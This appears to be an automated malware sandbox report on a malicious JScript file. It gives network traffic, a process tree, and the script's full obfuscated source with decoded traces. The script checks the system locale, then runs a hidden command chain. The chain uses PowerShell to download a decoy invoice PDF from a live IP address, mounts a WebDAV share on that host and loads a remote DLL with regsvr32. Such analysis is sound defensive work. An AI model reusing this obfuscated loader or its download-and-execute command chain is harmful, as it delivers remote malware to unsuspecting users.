Jan 11, 2025 01:13:36.681379080 CET	1236	IN	Data Raw: 31 f4 b8 8b a1 07 71 0c ed 87 43 ed e3 f2 8d da 91 db c4 d0 77 c3 18 7a 78 2b 31 f4 e2 bc 8f a1 d7 2a 86 de 13 43 27 34 f5 cd 09 00 00 60 1a 7c b1 04 00 d3 f2 b7 dc f0 fb f3 e1 77 e6 1f f2 ca df a8 cf 35 82 dc 65 f8 2b c9 75 1f dd 7a 74 f4 bc aa Data Ascii: 1qCwzx+1*C'4`\|w5e+uztc"BI4T&D].N-zU>$ZY+<iFV;FKVMz\P^MD]_Xp/3qywlL_EbvK+}nmcy==b&
Jan 11, 2025 01:13:36.681391001 CET	448	IN	Data Raw: f1 85 39 c6 2b c4 29 73 55 85 6a e6 63 b1 a9 66 8b 56 da 72 d7 33 af af be 3c 7f 85 be e8 e5 72 5e fd 44 a1 f9 1c a9 29 68 3e 63 5d 47 6a 7e 6c 40 7f a6 98 67 ac 10 8e 73 9f 0e 85 9f 07 90 9f 04 30 6f 7b ff e2 ea a6 1c be e5 f4 27 82 b9 b6 d5 5f Data Ascii: 9+)sUjcfVr3<r^D)h>c]Gj~l@gs0o{'_M1w/bxvMoHfK0UZv]LmBARrq5/X{Cz~bhlhcC?cC?u0X-37X_[;~Ii/MzJ*>)kz{~YjR
Jan 11, 2025 01:13:36.686340094 CET	1236	IN	Data Raw: 00 db e4 6f b0 35 25 34 37 de 95 3b 56 72 f4 cc c1 5c 26 28 cc 6a 15 4a a8 4e 3f 32 07 9a 1a a8 d4 cf b7 ad 37 ad d7 4e fa fb e9 d7 a4 36 aa ab a8 69 43 b9 13 3c 35 df 32 96 a8 54 35 89 ca 3c c3 7e 4c 75 a1 38 a5 af 2a 9c a5 d5 23 b4 35 d5 cc 4c Data Ascii: o5%47;Vr\&(jJN?27N6iC<52T5<~Lu8#5L>8f\^xmI3#^{hudM/eG_\?c0{,?nQGDUBwZ?l+`hC?bC31t_PC={6H=17

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49731	193.143.1.205	8888	7680	C:\Windows\System32\net.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 01:13:38.455199003 CET	107	OUT	OPTIONS / HTTP/1.1 Connection: Keep-Alive User-Agent: DavClnt translate: f Host: 193.143.1.205:8888
Jan 11, 2025 01:13:39.245954990 CET	237	IN	HTTP/1.1 500 Internal Server Error Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 00:13:39 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 22 Connection: keep-alive X-Content-Type-Options: nosniff Data Raw: 49 6e 74 65 72 6e 61 6c 20 73 65 72 76 65 72 20 65 72 72 6f 72 0a Data Ascii: Internal server error

Target ID:	0
Start time:	19:13:32
Start date:	10/01/2025
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\23333227572217423995.js"
Imagebase:	0x7ff6fe750000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	19:13:32
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\15468771611777.dll
Imagebase:	0x7ff6a5510000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	19:13:32
Start date:	10/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	19:13:32
Start date:	10/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Imagebase:	0x7ff788560000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	19:13:37
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Imagebase:	0x7ff6bc1b0000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	5
Start time:	19:13:37
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff6a5510000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	19:13:37
Start date:	10/01/2025
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff7696b0000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	19:13:38
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff74bb60000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	8
Start time:	19:13:38
Start date:	10/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff6eef20000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	19:13:38
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2116 --field-trial-handle=1660,i,10964103257777821121,7652428037546032337,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff74bb60000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

JavaScript Code

Call Graph

Executed
Not Executed

Script:

Code
0	function bhssrf() {	bhssrf() ➔ undefined
1	lrtticq = [ 1031, 3079, 5127, 4103, 2055, 3072 ];
2	var zcyrv = this[tzwfuvk + smqftipdw + dcdatr + abvvxgaks + ysshfcsj + jiuxf + phluchqtq + zmkcnxeqd] ( this[uhnok + ntqtbqf + tfddfypcy + dcdatr + iynxv + tzwfuvk + zmkcnxeqd][kffcjb + dcdatr + ysshfcsj + smqftipdw + zmkcnxeqd + ysshfcsj + ckqfwqkqf + pldxg + fygovy + ysshfcsj + tfddfypcy + zmkcnxeqd] ( uhnok + ntqtbqf + tfddfypcy + dcdatr + iynxv + tzwfuvk + zmkcnxeqd + xnbdnj + ntqtbqf + oqxzhkj + ysshfcsj + ikiagql + ikiagql ) [hekdq + ysshfcsj + hirept + hekdq + ysshfcsj + smqftipdw + uvpvxlcyf] ( wfdpnsj + eowwr + mocnnue + sgiiyhke + aftke + kffcjb + wjcysmrmb + hekdq + hekdq + mocnnue + zzpgq + lujkfwfg + aftke + wjcysmrmb + ntqtbqf + mocnnue + hekdq + mcabepaw + kffcjb + ndkzrnvic + phluchqtq + zmkcnxeqd + dcdatr + ndkzrnvic + ikiagql + azcrs + nzpbqm + smqftipdw + phluchqtq + ysshfcsj + ikiagql + mcabepaw + jiuxf + phluchqtq + zmkcnxeqd + ysshfcsj + dcdatr + phluchqtq + smqftipdw + zmkcnxeqd + iynxv + ndkzrnvic + phluchqtq + smqftipdw + ikiagql + mcabepaw + fggqiqxe + ndkzrnvic + tfddfypcy + smqftipdw + ikiagql + ysshfcsj ), 16 );	Windows Script Host.CreateObject("WScript.Shell") ➔ RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale") ➔ "00000C00" parseInt("00000C00",16) ➔ 3072
3	for ( iksxk = 0 ; iksxk < lrtticq[ikiagql + ysshfcsj + phluchqtq + hirept + zmkcnxeqd + oqxzhkj] ; ++ iksxk )
4	{
5	if ( zcyrv == lrtticq[iksxk] )
6	{
7	zcyrv = true;
8	break ;
9	}
10	}
11	if ( zcyrv !== true )
12	this[uhnok + ntqtbqf + tfddfypcy + dcdatr + iynxv + tzwfuvk + zmkcnxeqd][qegyatjvj + kmdkmxf + iynxv + zmkcnxeqd] ( );
13	this[uhnok + ntqtbqf + tfddfypcy + dcdatr + iynxv + tzwfuvk + zmkcnxeqd][kffcjb + dcdatr + ysshfcsj + smqftipdw + zmkcnxeqd + ysshfcsj + ckqfwqkqf + pldxg + fygovy + ysshfcsj + tfddfypcy + zmkcnxeqd] ( uhnok + ntqtbqf + tfddfypcy + dcdatr + iynxv + tzwfuvk + zmkcnxeqd + xnbdnj + ntqtbqf + oqxzhkj + ysshfcsj + ikiagql + ikiagql ) [dcdatr + kmdkmxf + phluchqtq] ( tfddfypcy + zynydt + uvpvxlcyf + azcrs + cytnsz + tfddfypcy + azcrs + tzwfuvk + ndkzrnvic + jntopdap + ysshfcsj + dcdatr + abvvxgaks + oqxzhkj + ysshfcsj + ikiagql + ikiagql + xnbdnj + ysshfcsj + yhgioltk + ysshfcsj + azcrs + sqojr + kffcjb + ndkzrnvic + zynydt + zynydt + smqftipdw + phluchqtq + uvpvxlcyf + azcrs + jmasbu + jiuxf + phluchqtq + jvnvu + ndkzrnvic + aefyseyj + ysshfcsj + sqojr + uhnok + ysshfcsj + pldxg + hekdq + ysshfcsj + dossmrz + kmdkmxf + ysshfcsj + abvvxgaks + zmkcnxeqd + azcrs + sqojr + ckqfwqkqf + kmdkmxf + zmkcnxeqd + izshq + iynxv + ikiagql + ysshfcsj + azcrs + nlwyxyh + zmkcnxeqd + ysshfcsj + zynydt + tzwfuvk + nlwyxyh + mcabepaw + iynxv + phluchqtq + jvnvu + ndkzrnvic + iynxv + tfddfypcy + ysshfcsj + xnbdnj + tzwfuvk + uvpvxlcyf + qcgbjlj + azcrs + oqxzhkj + zmkcnxeqd + zmkcnxeqd + tzwfuvk + txfeaa + cytnsz + cytnsz + guxiygmme + exatecaxt + dfygtdly + xnbdnj + guxiygmme + paiziku + dfygtdly + xnbdnj + guxiygmme + xnbdnj + shlkjwgdx + tegwjvh + cxcnmxi + cytnsz + iynxv + phluchqtq + jvnvu + ndkzrnvic + iynxv + tfddfypcy + ysshfcsj + xnbdnj + tzwfuvk + oqxzhkj + tzwfuvk + jmasbu + ezzslwji + ezzslwji + abvvxgaks + zmkcnxeqd + smqftipdw + dcdatr + zmkcnxeqd + azcrs + nlwyxyh + zmkcnxeqd + ysshfcsj + zynydt + tzwfuvk + nlwyxyh + mcabepaw + iynxv + phluchqtq + jvnvu + ndkzrnvic + iynxv + tfddfypcy + ysshfcsj + xnbdnj + tzwfuvk + uvpvxlcyf + qcgbjlj + ezzslwji + ezzslwji + tfddfypcy + zynydt + uvpvxlcyf + azcrs + cytnsz + tfddfypcy + azcrs + phluchqtq + ysshfcsj + zmkcnxeqd + azcrs + kmdkmxf + abvvxgaks + ysshfcsj + azcrs + mcabepaw + mcabepaw + guxiygmme + exatecaxt + dfygtdly + xnbdnj + guxiygmme + paiziku + dfygtdly + xnbdnj + guxiygmme + xnbdnj + shlkjwgdx + tegwjvh + cxcnmxi + gddya + wzpvx + wzpvx + wzpvx + wzpvx + mcabepaw + uvpvxlcyf + smqftipdw + jvnvu + jntopdap + jntopdap + jntopdap + dcdatr + ndkzrnvic + ndkzrnvic + zmkcnxeqd + mcabepaw + ezzslwji + ezzslwji + tfddfypcy + zynydt + uvpvxlcyf + azcrs + cytnsz + tfddfypcy + azcrs + dcdatr + ysshfcsj + hirept + abvvxgaks + jvnvu + dcdatr + dfygtdly + shlkjwgdx + azcrs + cytnsz + abvvxgaks + azcrs + mcabepaw + mcabepaw + guxiygmme + exatecaxt + dfygtdly + xnbdnj + guxiygmme + paiziku + dfygtdly + xnbdnj + guxiygmme + xnbdnj + shlkjwgdx + tegwjvh + cxcnmxi + gddya + wzpvx + wzpvx + wzpvx + wzpvx + mcabepaw + uvpvxlcyf + smqftipdw + jvnvu + jntopdap + jntopdap + jntopdap + dcdatr + ndkzrnvic + ndkzrnvic + zmkcnxeqd + mcabepaw + guxiygmme + cxcnmxi + paiziku + flzmtdieb + wzpvx + ezqbt + ezqbt + guxiygmme + flzmtdieb + guxiygmme + guxiygmme + ezqbt + ezqbt + ezqbt + xnbdnj + uvpvxlcyf + ikiagql + ikiagql, 0, false );	Windows Script Host.CreateObject("WScript.Shell") ➔ run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.pdf http://193.143.1.205/invoice.php"&&start %temp%\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\15468771611777.dll",0,false) ➔ 0
14	}
15	wjcysmrmb = "q";
16	wjcysmrmb = "h";
17	wjcysmrmb = "J";
18	wjcysmrmb = "j";
19	wjcysmrmb = "e";
20	wjcysmrmb = "A";
21	wjcysmrmb = "J";
22	wjcysmrmb = "h";
23	wjcysmrmb = "W";
24	wjcysmrmb = "i";
25	wjcysmrmb = "l";
26	wjcysmrmb = "U";
27	lujkfwfg = "p";
28	lujkfwfg = "j";
29	lujkfwfg = "O";
30	lujkfwfg = "V";
31	lujkfwfg = "i";
32	lujkfwfg = "f";
33	lujkfwfg = "D";
34	lujkfwfg = "F";
35	lujkfwfg = "F";
36	lujkfwfg = "y";
37	lujkfwfg = "U";
38	lujkfwfg = "J";
39	lujkfwfg = "D";
40	lujkfwfg = "a";
41	lujkfwfg = "B";
42	lujkfwfg = "G";
43	lujkfwfg = "n";
44	lujkfwfg = "z";
45	lujkfwfg = "U";
46	lujkfwfg = "g";
47	lujkfwfg = "k";
48	lujkfwfg = "U";
49	lujkfwfg = "m";
50	lujkfwfg = "z";
51	lujkfwfg = "D";
52	lujkfwfg = "S";
53	lujkfwfg = "m";
54	lujkfwfg = "m";
55	lujkfwfg = "u";
56	lujkfwfg = "m";
57	lujkfwfg = "k";
58	lujkfwfg = "S";
59	lujkfwfg = "T";
60	xnbdnj = "e";
61	xnbdnj = "C";
62	xnbdnj = "h";
63	xnbdnj = "E";
64	xnbdnj = "T";
65	xnbdnj = "q";
66	xnbdnj = "V";
67	xnbdnj = "d";
68	xnbdnj = "i";
69	xnbdnj = "I";
70	xnbdnj = "f";
71	xnbdnj = "f";
72	xnbdnj = "L";
73	xnbdnj = "c";
74	xnbdnj = "s";
75	xnbdnj = "h";
76	xnbdnj = ".";
77	uvpvxlcyf = "s";
78	uvpvxlcyf = "Y";
79	uvpvxlcyf = "C";
80	uvpvxlcyf = "c";
81	uvpvxlcyf = "d";
82	eowwr = "W";
83	eowwr = "M";
84	eowwr = "y";
85	eowwr = "k";
86	eowwr = "P";
87	eowwr = "r";
88	eowwr = "u";
89	eowwr = "F";
90	eowwr = "i";
91	eowwr = "i";
92	eowwr = "V";
93	eowwr = "l";
94	eowwr = "M";
95	eowwr = "t";
96	eowwr = "G";
97	eowwr = "I";
98	eowwr = "g";
99	eowwr = "n";
100	eowwr = "j";
101	eowwr = "q";
102	eowwr = "t";
103	eowwr = "T";
104	eowwr = "f";
105	eowwr = "C";
106	eowwr = "K";
107	eowwr = "B";
108	eowwr = "n";
109	eowwr = "o";
110	eowwr = "b";
111	eowwr = "V";
112	eowwr = "C";
113	eowwr = "a";
114	eowwr = "x";
115	eowwr = "N";
116	eowwr = "b";
117	eowwr = "Q";
118	eowwr = "R";
119	eowwr = "c";
120	eowwr = "o";
121	eowwr = "x";
122	eowwr = "K";
123	sqojr = "K";
124	sqojr = "O";
125	sqojr = "S";
126	sqojr = "q";
127	sqojr = "y";
128	sqojr = "f";
129	sqojr = "N";
130	sqojr = "G";
131	sqojr = "B";
132	sqojr = "p";
133	sqojr = "q";
134	sqojr = "V";
135	sqojr = "i";
136	sqojr = "A";
137	sqojr = "A";
138	sqojr = "j";
139	sqojr = "F";
140	sqojr = "O";
141	sqojr = "e";
142	sqojr = "-";
143	tfddfypcy = "Q";
144	tfddfypcy = "W";
145	tfddfypcy = "v";
146	tfddfypcy = "T";
147	tfddfypcy = "S";
148	tfddfypcy = "J";
149	tfddfypcy = "j";
150	tfddfypcy = "G";
151	tfddfypcy = "r";
152	tfddfypcy = "W";
153	tfddfypcy = "B";
154	tfddfypcy = "H";
155	tfddfypcy = "R";
156	tfddfypcy = "q";
157	tfddfypcy = "y";
158	tfddfypcy = "e";
159	tfddfypcy = "n";
160	tfddfypcy = "H";
161	tfddfypcy = "T";
162	tfddfypcy = "q";
163	tfddfypcy = "i";
164	tfddfypcy = "p";
165	tfddfypcy = "L";
166	tfddfypcy = "e";
167	tfddfypcy = "g";
168	tfddfypcy = "A";
169	tfddfypcy = "C";
170	tfddfypcy = "t";
171	tfddfypcy = "e";
172	tfddfypcy = "y";
173	tfddfypcy = "c";
174	mcabepaw = "O";
175	mcabepaw = "W";
176	mcabepaw = "Q";
177	mcabepaw = "x";
178	mcabepaw = "t";
179	mcabepaw = "J";
180	mcabepaw = "C";
181	mcabepaw = "n";
182	mcabepaw = "h";
183	mcabepaw = "L";
184	mcabepaw = "S";
185	mcabepaw = "U";
186	mcabepaw = "G";
187	mcabepaw = "A";
188	mcabepaw = "i";
189	mcabepaw = "\\";
190	jntopdap = "z";
191	jntopdap = "Y";
192	jntopdap = "w";
193	wfdpnsj = "X";
194	wfdpnsj = "T";
195	wfdpnsj = "G";
196	wfdpnsj = "S";
197	wfdpnsj = "c";
198	wfdpnsj = "M";
199	wfdpnsj = "z";
200	wfdpnsj = "i";
201	wfdpnsj = "P";
202	wfdpnsj = "r";
203	wfdpnsj = "H";
204	tzwfuvk = "g";
205	tzwfuvk = "t";
206	tzwfuvk = "V";
207	tzwfuvk = "U";
208	tzwfuvk = "q";
209	tzwfuvk = "G";
210	tzwfuvk = "f";
211	tzwfuvk = "l";
212	tzwfuvk = "B";
213	tzwfuvk = "L";
214	tzwfuvk = "e";
215	tzwfuvk = "G";
216	tzwfuvk = "h";
217	tzwfuvk = "N";
218	tzwfuvk = "c";
219	tzwfuvk = "Z";
220	tzwfuvk = "d";
221	tzwfuvk = "s";
222	tzwfuvk = "V";
223	tzwfuvk = "g";
224	tzwfuvk = "S";
225	tzwfuvk = "u";
226	tzwfuvk = "Z";
227	tzwfuvk = "Z";
228	tzwfuvk = "p";
229	dfygtdly = "X";
230	dfygtdly = "O";
231	dfygtdly = "S";
232	dfygtdly = "m";
233	dfygtdly = "v";
234	dfygtdly = "q";
235	dfygtdly = "Q";
236	dfygtdly = "b";
237	dfygtdly = "3";
238	ntqtbqf = "v";
239	ntqtbqf = "F";
240	ntqtbqf = "C";
241	ntqtbqf = "p";
242	ntqtbqf = "E";
243	ntqtbqf = "X";
244	ntqtbqf = "L";
245	ntqtbqf = "D";
246	ntqtbqf = "M";
247	ntqtbqf = "s";
248	ntqtbqf = "Q";
249	ntqtbqf = "C";
250	ntqtbqf = "l";
251	ntqtbqf = "B";
252	ntqtbqf = "i";
253	ntqtbqf = "Z";
254	ntqtbqf = "H";
255	ntqtbqf = "n";
256	ntqtbqf = "B";
257	ntqtbqf = "k";
258	ntqtbqf = "q";
259	ntqtbqf = "S";
260	shlkjwgdx = "B";
261	shlkjwgdx = "b";
262	shlkjwgdx = "p";
263	shlkjwgdx = "n";
264	shlkjwgdx = "d";
265	shlkjwgdx = "w";
266	shlkjwgdx = "S";
267	shlkjwgdx = "Q";
268	shlkjwgdx = "Q";
269	shlkjwgdx = "c";
270	shlkjwgdx = "v";
271	shlkjwgdx = "x";
272	shlkjwgdx = "u";
273	shlkjwgdx = "v";
274	shlkjwgdx = "N";
275	shlkjwgdx = "k";
276	shlkjwgdx = "j";
277	shlkjwgdx = "v";
278	shlkjwgdx = "M";
279	shlkjwgdx = "o";
280	shlkjwgdx = "p";
281	shlkjwgdx = "y";
282	shlkjwgdx = "g";
283	shlkjwgdx = "T";
284	shlkjwgdx = "N";
285	shlkjwgdx = "n";
286	shlkjwgdx = "X";
287	shlkjwgdx = "X";
288	shlkjwgdx = "I";
289	shlkjwgdx = "E";
290	shlkjwgdx = "x";
291	shlkjwgdx = "G";
292	shlkjwgdx = "2";
293	mocnnue = "I";
294	mocnnue = "a";
295	mocnnue = "S";
296	mocnnue = "I";
297	mocnnue = "l";
298	mocnnue = "E";
299	mocnnue = "P";
300	mocnnue = "c";
301	mocnnue = "z";
302	mocnnue = "o";
303	mocnnue = "I";
304	mocnnue = "l";
305	mocnnue = "T";
306	mocnnue = "E";
307	izshq = "J";
308	izshq = "J";
309	izshq = "J";
310	izshq = "z";
311	izshq = "E";
312	izshq = "R";
313	izshq = "K";
314	izshq = "I";
315	izshq = "B";
316	izshq = "t";
317	izshq = "l";
318	izshq = "J";
319	izshq = "X";
320	izshq = "N";
321	izshq = "J";
322	izshq = "N";
323	izshq = "f";
324	izshq = "c";
325	izshq = "g";
326	izshq = "c";
327	izshq = "c";
328	izshq = "K";
329	izshq = "F";
330	izshq = "H";
331	izshq = "b";
332	izshq = "m";
333	izshq = "v";
334	izshq = "l";
335	izshq = "L";
336	izshq = "m";
337	izshq = "F";
338	zynydt = "X";
339	zynydt = "o";
340	zynydt = "M";
341	zynydt = "h";
342	zynydt = "X";
343	zynydt = "D";
344	zynydt = "H";
345	zynydt = "T";
346	zynydt = "n";
347	zynydt = "b";
348	zynydt = "W";
349	zynydt = "l";
350	zynydt = "e";
351	zynydt = "y";
352	zynydt = "j";
353	zynydt = "f";
354	zynydt = "M";
355	zynydt = "U";
356	zynydt = "s";
357	zynydt = "q";
358	zynydt = "G";
359	zynydt = "m";
360	fggqiqxe = "D";
361	fggqiqxe = "q";
362	fggqiqxe = "Y";
363	fggqiqxe = "l";
364	fggqiqxe = "q";
365	fggqiqxe = "g";
366	fggqiqxe = "d";
367	fggqiqxe = "F";
368	fggqiqxe = "T";
369	fggqiqxe = "s";
370	fggqiqxe = "r";
371	fggqiqxe = "G";
372	fggqiqxe = "N";
373	fggqiqxe = "R";
374	fggqiqxe = "D";
375	fggqiqxe = "a";
376	fggqiqxe = "g";
377	fggqiqxe = "l";
378	fggqiqxe = "w";
379	fggqiqxe = "t";
380	fggqiqxe = "C";
381	fggqiqxe = "Q";
382	fggqiqxe = "b";
383	fggqiqxe = "z";
384	fggqiqxe = "u";
385	fggqiqxe = "u";
386	fggqiqxe = "r";
387	fggqiqxe = "U";
388	fggqiqxe = "G";
389	fggqiqxe = "f";
390	fggqiqxe = "L";
391	ezzslwji = "n";
392	ezzslwji = "a";
393	ezzslwji = "G";
394	ezzslwji = "S";
395	ezzslwji = "r";
396	ezzslwji = "H";
397	ezzslwji = "c";
398	ezzslwji = "g";
399	ezzslwji = "W";
400	ezzslwji = "q";
401	ezzslwji = "J";
402	ezzslwji = "y";
403	ezzslwji = "F";
404	ezzslwji = "B";
405	ezzslwji = "b";
406	ezzslwji = "c";
407	ezzslwji = "U";
408	ezzslwji = "j";
409	ezzslwji = "q";
410	ezzslwji = "K";
411	ezzslwji = "&";
412	abvvxgaks = "a";
413	abvvxgaks = "g";
414	abvvxgaks = "p";
415	abvvxgaks = "i";
416	abvvxgaks = "Z";
417	abvvxgaks = "F";
418	abvvxgaks = "s";
419	abvvxgaks = "U";
420	abvvxgaks = "x";
421	abvvxgaks = "n";
422	abvvxgaks = "a";
423	abvvxgaks = "o";
424	abvvxgaks = "Q";
425	abvvxgaks = "i";
426	abvvxgaks = "h";
427	abvvxgaks = "s";
428	pldxg = "g";
429	pldxg = "e";
430	pldxg = "d";
431	pldxg = "e";
432	pldxg = "g";
433	pldxg = "n";
434	pldxg = "x";
435	pldxg = "r";
436	pldxg = "s";
437	pldxg = "U";
438	pldxg = "v";
439	pldxg = "D";
440	pldxg = "g";
441	pldxg = "C";
442	pldxg = "A";
443	pldxg = "Y";
444	pldxg = "n";
445	pldxg = "z";
446	pldxg = "L";
447	pldxg = "U";
448	pldxg = "G";
449	pldxg = "O";
450	pldxg = "H";
451	pldxg = "g";
452	pldxg = "g";
453	pldxg = "V";
454	pldxg = "i";
455	pldxg = "G";
456	pldxg = "C";
457	pldxg = "b";
458	pldxg = "V";
459	pldxg = "c";
460	pldxg = "O";
461	pldxg = "S";
462	pldxg = "u";
463	pldxg = "x";
464	pldxg = "x";
465	pldxg = "b";
466	aftke = "b";
467	aftke = "q";
468	aftke = "q";
469	aftke = "E";
470	aftke = "Y";
471	aftke = "e";
472	aftke = "R";
473	aftke = "x";
474	aftke = "K";
475	aftke = "S";
476	aftke = "h";
477	aftke = "Y";
478	aftke = "U";
479	aftke = "O";
480	aftke = "u";
481	aftke = "G";
482	aftke = "I";
483	aftke = "X";
484	aftke = "Z";
485	aftke = "a";
486	aftke = "_";
487	phluchqtq = "Y";
488	phluchqtq = "F";
489	phluchqtq = "C";
490	phluchqtq = "q";
491	phluchqtq = "O";
492	phluchqtq = "k";
493	phluchqtq = "l";
494	phluchqtq = "G";
495	phluchqtq = "t";
496	phluchqtq = "F";
497	phluchqtq = "b";
498	phluchqtq = "y";
499	phluchqtq = "L";
500	phluchqtq = "p";
501	phluchqtq = "o";
502	phluchqtq = "l";
503	phluchqtq = "P";
504	phluchqtq = "X";
505	phluchqtq = "E";
506	phluchqtq = "y";
507	phluchqtq = "g";
508	phluchqtq = "f";
509	phluchqtq = "D";
510	phluchqtq = "Q";
511	phluchqtq = "n";
512	hekdq = "d";
513	hekdq = "e";
514	hekdq = "I";
515	hekdq = "S";
516	hekdq = "c";
517	hekdq = "q";
518	hekdq = "k";
519	hekdq = "T";
520	hekdq = "s";
521	hekdq = "I";
522	hekdq = "l";
523	hekdq = "f";
524	hekdq = "v";
525	hekdq = "q";
526	hekdq = "R";
527	exatecaxt = "a";
528	exatecaxt = "e";
529	exatecaxt = "u";
530	exatecaxt = "Q";
531	exatecaxt = "N";
532	exatecaxt = "v";
533	exatecaxt = "e";
534	exatecaxt = "x";
535	exatecaxt = "P";
536	exatecaxt = "H";
537	exatecaxt = "S";
538	exatecaxt = "V";
539	exatecaxt = "h";
540	exatecaxt = "B";
541	exatecaxt = "r";
542	exatecaxt = "z";
543	exatecaxt = "X";
544	exatecaxt = "E";
545	exatecaxt = "k";
546	exatecaxt = "Y";
547	exatecaxt = "J";
548	exatecaxt = "S";
549	exatecaxt = "X";
550	exatecaxt = "Q";
551	exatecaxt = "d";
552	exatecaxt = "Z";
553	exatecaxt = "C";
554	exatecaxt = "A";
555	exatecaxt = "u";
556	exatecaxt = "m";
557	exatecaxt = "Z";
558	exatecaxt = "F";
559	exatecaxt = "R";
560	exatecaxt = "u";
561	exatecaxt = "M";
562	exatecaxt = "9";
563	dossmrz = "w";
564	dossmrz = "W";
565	dossmrz = "H";
566	dossmrz = "z";
567	dossmrz = "V";
568	dossmrz = "Y";
569	dossmrz = "C";
570	dossmrz = "U";
571	dossmrz = "l";
572	dossmrz = "l";
573	dossmrz = "P";
574	dossmrz = "h";
575	dossmrz = "M";
576	dossmrz = "C";
577	dossmrz = "i";
578	dossmrz = "I";
579	dossmrz = "C";
580	dossmrz = "o";
581	dossmrz = "Z";
582	dossmrz = "j";
583	dossmrz = "e";
584	dossmrz = "M";
585	dossmrz = "q";
